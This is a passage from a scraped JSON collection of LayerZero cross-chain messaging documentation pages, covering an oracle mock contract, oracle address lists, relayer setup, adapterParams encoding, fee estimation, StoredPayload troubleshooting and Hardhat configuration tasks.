ILayerZeroUltraLightNodeV1 public uln ; // ultraLightNode instance event OracleNotified ( uint16 dstChainId , uint16 _outboundProofType , uint blockConfirmations ); event Withdraw ( address to , uint amount ); constructor () { approvedAddresses [ msg . sender ] = true ; } function notifyOracle ( uint16 _dstChainId , uint16 _outboundProofType , uint64 _outboundBlockConfirmations ) external override { emit OracleNotified ( _dstChainId , _outboundProofType , _outboundBlockConfirmations ); } function updateHash ( uint16 _remoteChainId , bytes32 _blockHash , uint _confirmations , bytes32 _data ) external { require ( approvedAddresses [ msg . sender ], \"LayerZeroOracleMock: caller must be approved\" ); uln . updateHash ( _remoteChainId , _blockHash , _confirmations , _data ); } function withdraw ( address payable _to , uint _amount ) public onlyOwner nonReentrant { ( bool success , ) = _to . call { value : _amount }( \"\" ); require ( success , \"failed to withdraw\" ); emit Withdraw ( _to , _amount ); } // owner can set uln function setUln ( address ulnAddress ) external onlyOwner { uln = ILayerZeroUltraLightNodeV1 ( ulnAddress ); } // mock, doesnt do anything function setJob ( uint16 _chain , address _oracle , bytes32 _id , uint _fee ) public onlyOwner {} function setDeliveryAddress ( uint16 _dstChainId , address _deliveryAddress ) public onlyOwner {} function setPrice ( uint16 _destinationChainId , uint16 _outboundProofType , uint _price ) external onlyOwner { chainPriceLookup [ _outboundProofType ][ _destinationChainId ] = _price ; } function setApprovedAddress ( address _oracleAddress , bool _approve ) external { approvedAddresses [ _oracleAddress ] = _approve ; } function isApproved ( address _relayerAddress ) public view override returns ( bool ) { return approvedAddresses [ _relayerAddress ]; } function getPrice ( uint16 _destinationChainId , uint16 _outboundProofType ) external view override returns ( uint ) { return chainPriceLookup [ _outboundProofType ][ _destinationChainId ]; } fallback () external payable {} receive () external payable {} } Previous Configuring Custom Oracle Next Google Cloud Oracle Last modified 16d ago", "labels": ["Documentation"]}, {"title": "Google Cloud Oracle", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/google-cloud-oracle", "body": "Google Cloud Oracle Contract Addresses to use Google Oracle with LayerZero The Google Oracle, as of 9/19/23, is the default oracle configuration for LayerZero messaging. Mainnet Addresses Ethereum: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc BNB: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Avalanche: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Polygon: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Arbitrum: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Optimism: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Fantom: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Gnosis: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Base: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Harmony: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Moonbeam: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Celo: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Arbitrum Nova: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Linea: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Previous Develop an Oracle Next TSS Oracle Last modified 13d ago", "labels": ["Documentation"]}, {"title": "Overview of Polyhedra zkLightClient", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/overview-of-polyhedra-zklightclient", "body": "Overview of Polyhedra zkLightClient Integration of zero-knowledge proof technology will enhance security, performance, and cost-efficiency for cross-chain interoperability on all chains supported by LayerZero Polyhedra Network is building the next generation of infrastructure for Web3 interoperability by leveraging advanced zero-knowledge proof (ZKP) technology, a fundamental cryptographic primitive that guarantees the validity of data and computations while maintaining data confidentiality. The Polyhedra Network team designed and developed Polyhedra zkLightClient technology, a cutting-edge solution built on LayerZero Protocol, providing secure and efficient cross-chain infrastructures for Layer-1 and Layer-2 interoperability. Previous Chainlink Oracle Next zkLightClient on LayerZero Last modified 16d ago", "labels": ["Documentation"]}, {"title": "TSS Oracle", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/tss-oracle", "body": "TSS Oracle Contract Addresses to use TSS Oracle with LayerZero To use the TSS oracle with your LayerZero UserApplication, configure your app with the addresses below. TSS Oracle Mainnet Addresses Ethereum: 0x5a54fe5234e811466d5366846283323c954310b2 BNB: 0x5a54fe5234e811466d5366846283323c954310b2 Avalanche: 0x5a54fe5234e811466d5366846283323c954310b2 Polygon: 0x5a54fe5234e811466d5366846283323c954310b2 Arbitrum: 0xa0cc33dd6f4819d473226257792afe230ec3c67f Optimism: 0xa0cc33dd6f4819d473226257792afe230ec3c67f Fantom: 0xa0cc33dd6f4819d473226257792afe230ec3c67f DFK: 0x88bd5f18a13c22c41cf5c8cba12eb371c4bd18d9 Harmony: 0x3e2ef091d7606e4ca3b8d84bcaf23da0ffa11053 Moonbeam: 0xdeef80c12d49e5da8e01b05636e2d0c776f6b78d Celo: 0x071c3f1bc3046c693c3abbc03a87ca9a30e43be2 Dexalot: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Fuse: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Gnosis: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Metis: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Klaytn: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb CoreDAO: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb OKX (OKT): 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Goerli: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Dos: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Sepolia: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb zkSync: 0xcb7ad38d45ab5bcf5880b0fa851263c29582c18a Polygon zkEVM: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Moonriver: 0x84070061032f3e7ea4e068f447fb7cdfc98d57fe Shrapnel: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Tenet: 0x282b3386571f7f794450d5789911a9804FA346b4 Nova: 0x37aaaf95887624a363effB7762D489E3C05c2a02 Canto: 0x377530cdA84DFb2673bF4d145DCF0C4D7fdcB5b6 Meter: 0x51A6E62D12F2260E697039Ff53bCB102053f5ab7 Kava: 0xAaB5A48CFC03Efa9cC34A2C1aAcCCB84b4b770e4 Base: 0xAaB5A48CFC03Efa9cC34A2C1aAcCCB84b4b770e4 Linea: 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Mantle: 0xAaB5A48CFC03Efa9cC34A2C1aAcCCB84b4b770e4 Zora: 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Telos: 0x4514FC667a944752ee8A29F544c1B20b1A315f25 Meritcircle: 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Aptos: 0x12e12de0af996d9611b0b78928cd9f4cbf50d94d972043cdd829baa77a78929b TSS Oracle Testnet Addresses Ethereum: 0x36ebea3941907c438ca8ca2b1065deef21ccdaed BNB: 0x53ccb44479b2666cf93f5e815f75738aa5c6d3b9 Avalanche: 0x92cfdb3789693c2ae7225fcc2c263de94d630be4 Polygon: 0xaec5e56217a963bde38a3b6e0c3cb5e864450c86 Arbitrum: 0x9e13017d416cdf0816bccac744760dd1c374cd20 Optimism: 0x97597016f7dac89e55005105fc755c0513973fa8 Fantom: 0x9b743b9846230b657546fb942c6b11a23cfecd9a DFK: 0x7cfb4fadedc96793f844371d8498f4fdcd37da61 Dexalot: 0xab38efc6917086576137e4927af3a4d57da5f00c Moonbeam: 0xa85bfaa7bec20e014e5c29cb3536231116f3f789 Harmony: 0xb099d5a9652a80ff8f4234bde00f66531aa91c50 Celo: 0x894a918a9c2bfa6d32874e40ef4bba75b820b17c Fuse: 0x340b5e5e90a6d177e7614222081e0f9cdd54f25c Klaytn: 0xd682ecf100f6f4284138aa925348633b0611ae21 Metis: 0xd682ecf100f6f4284138aa925348633b0611ae21 CoreDAO: 0xb0487596a0b62d1a71d0c33294bd6eb635fc6b09 Gnosis: 0xd682ecf100f6f4284138aa925348633b0611ae21 zkSync: 0x2DCC8cFb612fDbC0Fb657eA1B51A6F77b8b86448 OKX (OKT): 0xd682ecf100f6f4284138aa925348633b0611ae21 Linea: 0x00c5c0b8e0f75ab862cbaaecfff499db555fbdd2 Base: 0x53fd4c4fbbd53f6bc58cae6704b92db1f360a648 Sepolia: 0x00c5c0b8e0f75ab862cbaaecfff499db555fbdd2 Meter: 0x0e8738298a8e437035e3aebd57f8dddc1a1bc44a Polygon zkEVM: 0x00c5c0b8e0f75ab862cbaaecfff499db555fbdd2 Kava: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Tenet: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Canto: 0x3aCAAf60502791D199a5a5F0B173D78229eBFe32 Aptos: 0x47a30bcdb5b5bdbf6af883c7325827f3e40b3f52c3538e9e677e68cf0c0db060 Meritcircle: 0x3aCAAf60502791D199a5a5F0B173D78229eBFe32 Mantle: 0x45841dd1ca50265Da7614fC43A361e526c0e6160 Zora: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Loot: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Telos: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Tomo: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff opBNB: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Shimmer: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Aurora: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Lif3: 0x45841dd1ca50265Da7614fC43A361e526c0e6160 Previous Google Cloud Oracle Next Chainlink Oracle Last modified 12d ago", "labels": ["Documentation"]}, {"title": "Develop a Relayer", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/develop-a-relayer", "body": "Develop a Relayer To run your own Relayer, follow these high level requirements for each chain: Deploy and maintain a contract that implements ILayerZeroRelayerV2 interface. A reference Relayer implementation can be found here . Make sure your Relayer contract has access to up-to-date gas price information for all destination chains in order to accurately estimate transaction delivery fees. Configure your application to use your custom Relayer contract by calling setConfig in Endpoint contract. More information about setting a custom configuration can be found here . Have access to your own nodes RPC + WS (or rely on one or more providers). Maintain and balance wallets used for delivering messages/payloads. Create an off-chain service that listens to Packet event emitted by UltraLightNodeV2 on the source chain, waits for the configured number of confirmations and calls validateTransactionProof in UltraLightNodeV2 on the destination providing data from the event and the transaction proof. A reference implementation of transaction proof generation can be found here Off-chain Relayer is implementation agnostic. As long as it performs the core function of delivering the message, the implementation is open to interpretation and can be modified. Previous Overview Next LayerZero Relayer Last modified 16d ago", "labels": ["Documentation"]}, {"title": "LayerZero Relayer", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/layerzero-relayer", "body": "LayerZero Relayer The Relayer run by LayerZero Labs and reference implementation. User Applications that opt in to the default configuration will use the LayerZero Labs Relayer. LayerZero Labs runs and maintains a Relayer as a production asset for the ecosystem. Gas Convention The LayerZero Relayer assumes only a base gas for destination contract call, e.g. 200k gas for a call on Ethereum. It will only be enough for very simple applications. If your app requires more gas, please use the adapter parameters specified here. Previous Develop a Relayer Next Max Proof Cost Estimate Last modified 4mo ago", "labels": ["Documentation"]}, {"title": "Max Proof Cost Estimate", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/max-proof-cost-estimate", "body": "Max Proof Cost Estimate", "labels": ["Documentation"]}, {"title": "Overview", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/overview", "body": "Overview Scope of Work Relay proof across chains, and pay the cost for lzReceive execution. Gas Composition The receiving side smart contract overhead + proof cost + lzReceive. Plus, the gas varies from chain to chain. lzReceive we will have a default configuration per chain: Text Overhead Max Proof Cost (Estimate) default lzReceive Ethereum 240303 Avalanche 265574 BSC 283471 Polygon 341630 Arbitrum 173074 Optimism N/A Fantom Need Valid RPC Market Risk Charging native token A at the source chain, but paying native token B at the destination chain. The business itself is long A / short B, can hedge the market risk with short A / long B in exchanges, or balance the book timely. Ecosystem - Previous Relayer Next Develop a Relayer Last modified 15d ago", "labels": ["Documentation"]}, {"title": "Development Staging", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced/development-staging", "body": "Development Staging Local Use Endpoint Mock Use the endpoint mock to locally test your app logic fully. The mock gives you an abstraction of LayerZero messaging behavior and allows you to focus on your domain logic. Portable Configuration LayerZero assumes contracts on different chains whitelist the counterparts on the other chains. An N-chain UA would need to wire N^2 paths accurately. If the app has multiple configurations for each path, e.g. token swap, it will be even harder. The problem will compound if the UA needs to add new chains (worse if with different runtimes like EVM and Solana contracts). It is very important for your configuration script unit-testable and portable to production. Testnet Smoke-Test Your Deployment After your deployment and configuration, you should do a quick smoke test to test whether message pathways are properly wired before shipping to production. Mainnet If you are doing everything right in the Testnet stage, Mainnet should just be repeating the process but with more caution. Good luck with the launch! EVM Guides - Previous Advanced Next Relayer Adapter Parameters Last modified 11mo ago", "labels": ["Documentation"]}, {"title": "NonblockingLzApp", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced/nonblockinglzapp", "body": "NonblockingLzApp As mentioned in the Message Ordering section, the Endpoint will catch any unhandled error/exception from the downstream UA and block the message queue from the source contract at the source chain to all destination contracts at the destination chain, until the stored message has been retried successfully. However, UA can write a nonblocking receiver as a proxy layer to try-catch all errors/exceptions locally for future retry so that the message queue at the destination LayerZero Endpoint will never be blocked. We provide a NonblockingLzApp abstract contract as a template contract for UAs to build on. UAs simply need to inherit the class and override the _LzReceive internal function. Be sure to setTrustedRemote() to enable inbound communication on all contracts! solidity-examples/NonblockingLzApp.sol at main LayerZero-Labs/solidity-examples GitHub Previous Relayer Adapter Parameters Next - EVM Guides UA Custom Configuration Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Relayer Adapter Parameters", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters", "body": "Relayer Adapter Parameters Advanced relayer usage, and usage of _adapterParams Looking to Airdrop native gas tokens on a destination chain? Abstract: Every transaction costs a certain amount of gas. Since LayerZero delivers the destination transaction when a message is sent it must pay for that destination gas. A default of 200,000 gas is priced into the call for simplicity. As a message sender, your contract may use more or less than 200k on destination. To instruct LayerZero to use a custom amount of gas, you must pass the adapterParams argument of send() or estimateFees() Version 1 - Example: You want to call estimateFees() and get a quote for a custom gas amount. Description Type Example Value version uint16 1 value uint256 200000 Encode the adapterParams and use them in the send() or estimateFees() function call: Heres an example of how to encode the adapterParams // v1 adapterParams, encoded for version 1 style, and 200k gas quote let adapterParams = ethers . utils . solidityPack ( [ 'uint16' , 'uint256' ], [ 1 , 200000 ] ) The resulting adapterParams should look like this (34 total bytes in length): 0x00010000000000000000000000000000000000000000000000000000000000030d40 The above adapterParams can be sent to send() (or estimateFees() ) to receive a quote for a non standard amount of gas for the destination lzReceive() . If your logic on the destination chain is very simple you may ask the Relayer to pay a bit less than the default. If your message logic on the destination if very gas intense you may be required to pay more than the default of 200k gasLimit. Airdrop Version 2 - Here is an example of how to encode the adapterParams for version 2, which may modify the default 200k gas, and instructs the Relayer to send native gas into a wallet address! Description Type Example Value version uint16 2 gasAmount uint 200000 nativeForDst uint 55555555555 addressOnDst address 0x1234512345123451234512345123451234512345 // v2 adapterParams, encoded for version 2 style // which can instruct the LayerZero message to give // destination 55555555555 wei of native gas into a specific wallet let adapterParams = ethers . utils . solidityPack ( [ \"uint16\" , \"uint\" , \"uint\" , \"address\" ], [ 2 , 200000 , 55555555555 , \"0x1234512345123451234512345123451234512345\" ] ) The above adapterParams can be sent to send() or estimateFees() to receive a quote for a non standard amount of gas for the destination lzReceive() and to give an amount of destination native gas to an address! // airdrop caps out at these values, per network (values shown imply 18 decimals) // Note: these values may change occasionally. Read onchain values in Relayer.sol for accuracy. ethereum : 0.24 bsc : 1.32 avalanche : 18.47 polygon : 681 arbitrum : 0.24 optimism : 0.24 fantom : 1304 swimmer : 30000 Previous Development Staging Next NonblockingLzApp Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Estimating Message Fees", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/estimating-message-fees", "body": "Estimating Message Fees Get the quantity of native gas token to pay to send a message Call estimateFees() to return a tuple containing the cross chain message fee. There are 2 values returned as a tuple via estimateFees(). Use the 0th index to get the fee in wei to pass as value to Endpoint.send() You do not need to implement this function. This is just to show how the fee is calculated by the endpoint for the send() function. The estimateFees() function returns a dynamic fee based on Oracle and Relayer prices for the destination chainId, your UserApplication contract, and payload parameters. In solidity, you can use the ILayerZeroEndpoint.sol interface to call the view function to get the send() fees. Endpoint estimateFees() Set _payInZRO to false // Endpoint.sol estimateFees() returns the fees for the message function estimateFees ( uint16 _dstChainId , address _userApplication , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParams ) external view override returns ( uint nativeFee , uint zroFee ) { LibraryConfig storage uaConfig = uaConfigLookup [ _userApplication ]; ILayerZeroMessagingLibrary lib = uaConfig . sendVersion == DEFAULT_VERSION ? defaultSendLibrary : uaConfig . sendLibrary ; return lib . estimateFees ( _dstChainId , _userApplication , _payload , _payInZRO , _adapterParams ); } Our implementation of lib.estimateFees() illustrates how the total fee is calculated, which is the cumulative amount the oracle and relayer are collecting plus, potentially, a small protocol fee. // full estimateFees implementation function estimateFees ( uint16 _chainId , address _ua , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParams ) external view override returns ( uint nativeFee , uint zroFee ) { uint16 chainId = _chainId ; address ua = _ua ; uint payloadSize = _payload . length ; bytes memory adapterParam = _adapterParams ; ApplicationConfiguration memory uaConfig = getAppConfig ( chainId , ua ); // Relayer Fee uint relayerFee ; { if ( adapterParam . length == 0 ) { bytes memory defaultAdapterParam = defaultAdapterParams [ chainId ][ uaConfig . outboundProofType ]; relayerFee = ILayerZeroRelayer ( uaConfig . relayer ). getPrice ( chainId , uaConfig . outboundProofType , ua , payloadSize , defaultAdapterParam ); } else { relayerFee = ILayerZeroRelayer ( uaConfig . relayer ). getPrice ( chainId , uaConfig . outboundProofType , ua , payloadSize , adapterParam ); } } // Oracle Fee uint oracleFee = ILayerZeroOracle ( uaConfig . oracle ). getPrice ( chainId , uaConfig . outboundProofType ); // LayerZero Fee { uint protocolFee = treasuryContract . getFees ( _payInZRO , relayerFee , oracleFee ); _payInZRO ? zroFee = protocolFee : nativeFee = protocolFee ; } // return the sum of fees nativeFee = nativeFee . add ( relayerFee ). add ( oracleFee ); } Offchain Fee Estimation Example const fees = await endpoint . estimateFees ( dstChainId , // the destination LayerZero chainId uaContractAddress , // your contract address that calls Endpoint.send() \"0x\" , // empty payload false , // _payInZRO \"0x\" // default '0x' adapterParams, see: Relayer Adapter Param docs ) console . log ( ` fees[0] is the message fee in wei: ${ fees [ 0 ] } ` ) Check out adapterParams to customize the gas amount or airdrop native ETH! AdapterParams shows how to pack some additional settings to be used by estimateFees() and send() - it instructs LayerZero to use more gas which may be necessary to not run into a StoredPayload . Previous LZEndpointMock.sol Next PingPong.sol Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "LZEndpointMock.sol", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/lzendpointmock.sol", "body": "LZEndpointMock.sol A mock LayerZero endpoint contract for local testing. To enable testing locally we provide a mock that emulates a real endpoint. It has a send() method just like a real endpoint on main/test networks and it forwards the payload straight to the lzReceive() function (so you dont need a production oracle or relayer -- allowing you to test the contract logic easily). This contract helps the LayerZero team with our own testing! solidity-examples/LZEndpointMock.sol at main LayerZero-Labs/solidity-examples GitHub Previous OmniCounter.sol Next Estimating Message Fees Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "OmniCounter.sol", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/messagecounter.sol", "body": "OmniCounter.sol A LayerZero User Application example to demonstrate message sending. The OmniCounter OmniCounter is a contract that increments a counter -- but there's a twist. This OmniCounter increments the counter on another chain. The Details To send cross chain messages, contracts will use an endpoint to send() from the source chain and lzReceive() to receive the message on the destination chain. Here you may find a table of the Testnet Endpoints . OmniCounter.sol can send and receive LayerZero messages. Let's highlight the two important features of this contract: _lzSend() is overridden and called within incrementCounter() to send the message to another chain. _nonblockingLzReceive() is overridden and it will be called on the destination chain which receives the message when receiving a message. If you want to deploy and try this contract yourself you will need to construct it with an Endpoint address . And will need the two interfaces . solidity-examples/OmniCounter.sol at main LayerZero-Labs/solidity-examples GitHub Take a look at the simplest usage of LayerZero: the OmniCounter If you want to copy this code, follow the link above to github! Clone the github repo, take a look at the README, and deploy your own OmniCounters. If you were to deploy this contract, you would need to do so on at least 2 chains. Once deployed, call incrementCounter to increment the counter on a destination chain! EVM Guides - Previous Code Examples Next LZEndpointMock.sol Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "PingPong.sol", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples/pingpong.sol", "body": "PingPong.sol Demonstrate an onchain call to estimateFees() and a \"recursive\" call within lzReceive() This example contract demonstrates: estimateFees() : how to get the message fee on chain call send() within lzReceive() using a contract to pay the message fee (as opposed to the msg.sender) Warning: This contract will continuously send calls between two chains until one of them runs out of gas! solidity-examples/PingPong.sol at main LayerZero-Labs/solidity-examples GitHub PingPong.sol Previous Estimating Message Fees Next - EVM Guides Interfaces Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Common Errors and Handling", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/error-layerzero-relayer-fee-failed", "body": "Common Errors and Handling The most common error is not sending the gas fee when calling send(..., {value: fee}) Are you getting this error when sending a message ? LayerZero: not enough native for fees When sending a message via the endpoint send() you must pass a value so LayerZero is compensated for the extra gas required to deliver the transaction to the destination chain. This msg.value refers to the parameter of the transaction that sends the native gas token. The parameters for estimateFees() and send() MUST be the same Rule of Thumb: if you have an estimateFee value that works, try to send a transaction with (value - 1). it should revert. You can get a quote for any LayerZero message. Previous Fix a StoredPayload Next Failure Revert Messages Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Failure Revert Messages", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/failure-revert-messages", "body": "Failure Revert Messages A full description of the errors found in LayerZero contracts LayerZero: only endpoint Only the endpoint can be the caller of the function. LayerZero: invalid relayer Relayer delivering the message is NOT the relayer the UA has configured. LayerZero: invalid inbound proof library User Application has configured an invalid proof library version for remote chainId LayerZero: not enough block confirmations During message delivery, the Oracle didnt wait enough block confirmations as specified by the UA. LayerZero: _packet.ulnAddress is invalid Invalid source sender of the message. LayerZero: invalid dst address The LayerZero message specifies a different destination contract address than the relayer. LayerZero: must be paid by sender or origin Endpoint.send() was flagged to be paid in tokens, but the address is invalid. LayerZero: not enough native for fees User Application needs to send more msg.value (see: Endpoint.estimateFees()) LayerZero: failed to refund The specified _refundAddress is not payable, or invalid. (Try sending the exact amount) LayerZero: oracle data can only update if it has more confirmations The Oracle tried to update the data, but it was identical to what already existed. LayerZero: invalid inbound proof library version setConfig() cannot set the specified inbound proof library version LayerZero: invalid outbound proof type setConfig() cannot set the specified outbound proof type LayerZero: Invalid config type setConfig() does not know how to set this value LayerZero: only treasury withdrawZRO() called by invalid address LayerZero: only relayerFee contract Only a certain address can call withdraw on the UltraLightNode LayerZero: unsupported withdraw type withdrawZRO() called with invalid type Previous Common Errors and Handling Next - EVM Guides Best Practice Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Fix a StoredPayload", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/fix-a-storedpayload", "body": "Fix a StoredPayload Manually fix a StoredPayload by sending a transaction on the destination chain. A StoredPayload contains the data for a message that ran out of gas (most likely) In order to deliver this message, once its stored, you must call a transaction on the Endpoint.sol called retryPayload Youll need 3 things: source Chain ID of the chain the message was sent from source UserApplication address UA payload If we refer back to here , we know how to get these 3 items. Or use a block explorer and find the destination trasaction, and look in the Logs tab. The Logs tab of most block explorers shows the StoredPayload event values. You will need the srcChainId, srcAddress, and payload Now we simply need an instance of the Endpoint contract on the destination chain. And to call the transaction, to \"unstick\" the StoredPayload. Heres a code snippet: // some ethers.js code to show how to deliver a StoredPayload let endpoint = await ethers . getContract ( \"Endpoint\" ) let srcChainId = 9 // trustedRemote is the remote + local format let trustedRemote = hre . ethers . utils . solidityPack ( [ 'address' , 'address' ], [ remoteContract . address , localContract . address ] ) let payload = \"0x000000...0000000000\" // copy and paste entire payload here let tx = await endpoint . retryPayload ( srcChainId , trustedRemote , payload ) Thats it! If your transaction succeeds, the StoredPayload should be cleared and messages will resume if you send another message across the pathway. If you get an error about invalid payload, you may have copied it wrong. Be sure to prefix the srcAddress and the payload with 0x so that ethers.js is happy. Previous StoredPayload Detection Next Common Errors and Handling Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "StoredPayload", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/storedpayload", "body": "StoredPayload If a message arrives at the destination and reverts or runs out of gas during execution it is saved on the destination side. Anyone can go to the destination chain and pay for the transaction to be retried, however if there is a logical error it may need to be force ejected. StoredPayloads will block the nonce-ordered flow of messages. You can check for a StoredPayload using the Endpoint.sol's hasStoredPayload function, supplying the source chainId and source User Application address (which is in the TrustedRemote 40byte format). Check for StoredPayload // Endpoint.sol check for StoredPayload function hasStoredPayload ( uint16 _srcChainId , bytes calldata _srcAddress ) external view override returns ( bool ) { StoredPayload storage sp = storedPayload [ _srcChainId ][ _srcAddress ]; return sp . payloadHash != bytes32 ( 0 ); } To clear a StoredPayload, call retryPayload on the message that was stored, on the destination chain. You should call this function on the Endpoint . // Endpoint.sol function retryPayload ( uint16 _srcChainId , bytes calldata _srcAddress , bytes calldata _payload ) external override receiveNonReentrant { ... } Note: most block explorers will show the payload parameter in the Logs tab, which could make it easy to find in the case you need to call retryPayload to unblock the queue. Also, you may implement your UA as the NonblockingLzApp which is an option offered that allows messages to flow regardless of error (which will all be stored on the destination to be dealt with anytime) Force eject the StoredPayload, unblocking the queue by DESTROYING (see: be very careful) the transaction forever. This is a very powerful function, and only the User Application onlyOwner can perform it. // Endpoint.sol function forceResumeReceive ( uint16 _srcChainId , bytes calldata _srcAddress ) external override onlyOwner { Fix a Stored Payload Go here for information on fixing a StoredPayload EVM Guides - Previous Error Messages Next StoredPayload Detection Last modified 2mo ago", "labels": ["Documentation"]}, {"title": "StoredPayload Detection", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages/storedpayload-detection", "body": "StoredPayload Detection Find the hidden reason for a StoredPayload What does a StoredPayload look like on chain & How to deal with it If you see a transaction like this, then you may have a StoredPayload: https://optimistic.etherscan.io/tx/0xd3229bfe9bb64425eef6457e1198e7c2d96c3abc1721e2b0846459a291d1ff60 optimistic.etherscan.io Example StoredPayload Tx See the orange text? Although the transaction may say it succeeded, LayerZero may have a StoredPayload blocking the queue of message until dealt with. Go to the \"Logs\" tab to see the reason If there is no reason string, it could be out of gas. If there is a reason copy the bytes into a hex-to-string converter to see the reason (example below): LzReceiver: invalid source sending contract OK! Thats some helpful information - Although we ran into a StoredPayload, we now know the reason: LzReceiver: invalid source sending contract The error reminds us that we must setTrustedRemote first on the destination to allow inbound communication from the source sending User Application contract. Previous StoredPayload Next Fix a StoredPayload Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "EVM (Solidity) Interfaces", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces/evm-solidity-interfaces", "body": "EVM (Solidity) Interfaces User Application ILayerZeroEndpoint.sol ILayerZeroReceiver.sol ILayerZeroUserApplicationConfig.sol ILayerZeroEndpointLibrary.sol ILayerZeroLibraryReceiver.sol Oracle ILayerZeroOracle.sol Relayer ILayerZeroRelayer.sol These interfaces can be found in the LayerZero GitHub : ILayerZeroValidationLibrary.sol ILayerZeroUltraLightNodeV1.sol ILayerZeroValidationLibrary.sol EVM Guides - Previous Interfaces Next ILayerZeroReceiver Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "OFT", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft", "body": "OFT Omnichain Fungible Token Here are the articles in this section: IERC165 OFT Interface Ids OFT (V1) vs OFTV2 - Which should I use? OFT (V1) OFTV2 EVM Guides - Previous LayerZero Omnichain Contracts Next IERC165 OFT Interface Ids Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "ONFT", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/onft", "body": "ONFT Omnichain NonFungible Token Here are the articles in this section: 721 1155 Previous OFTV2 Next 721 Last modified 7mo ago", "labels": ["Documentation"]}, {"title": "UA Configuration", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling/ua-configuration", "body": "UA Configuration Describes the available config options in the appConfig.json Tasks The package adds the following tasks: getDefaultConfig returns the default configuration for the specified chains. Usage: npx hardhat getDefaultConfig --networks ethereum,bsc,polygon,avalanche getConfig returns the configuration of the specified contract. Parameters: address - the contract address. An optional parameter. Either contract name or contract address must be specified. name - the contract name. An optional parameter. It must be specified only if the contract was deployed using hardhat-deploy and the deployments information is located in the deployments folder. network - the network the contract is deployed to. remote-networks - a comma separated list of remote networks the contract is configured with. Usage: npx hardhat getConfig --network ethereum --remote-networks bsc,polygon,avalanche --name OFT setConfig sets the configuration of the specified contract. Parameters: config-path - the relative path to a file containing the configuration. address - the address of the deployed contracts. An optional parameter. It should be provided if the contract address is the same on all chains. For contracts with different addresses, specify the address for each chain in the config. name - the name of the deployed contracts. An optional parameter. It should be provided only if the same contract deployed on all chains using hardhat-deploy and the deployment information is located in the deployments folder. For contracts with different names, specify the name for each chain in the config. gnosis-config-path - the relative path to a file containing the gnosis configuration. An optional parameter. If 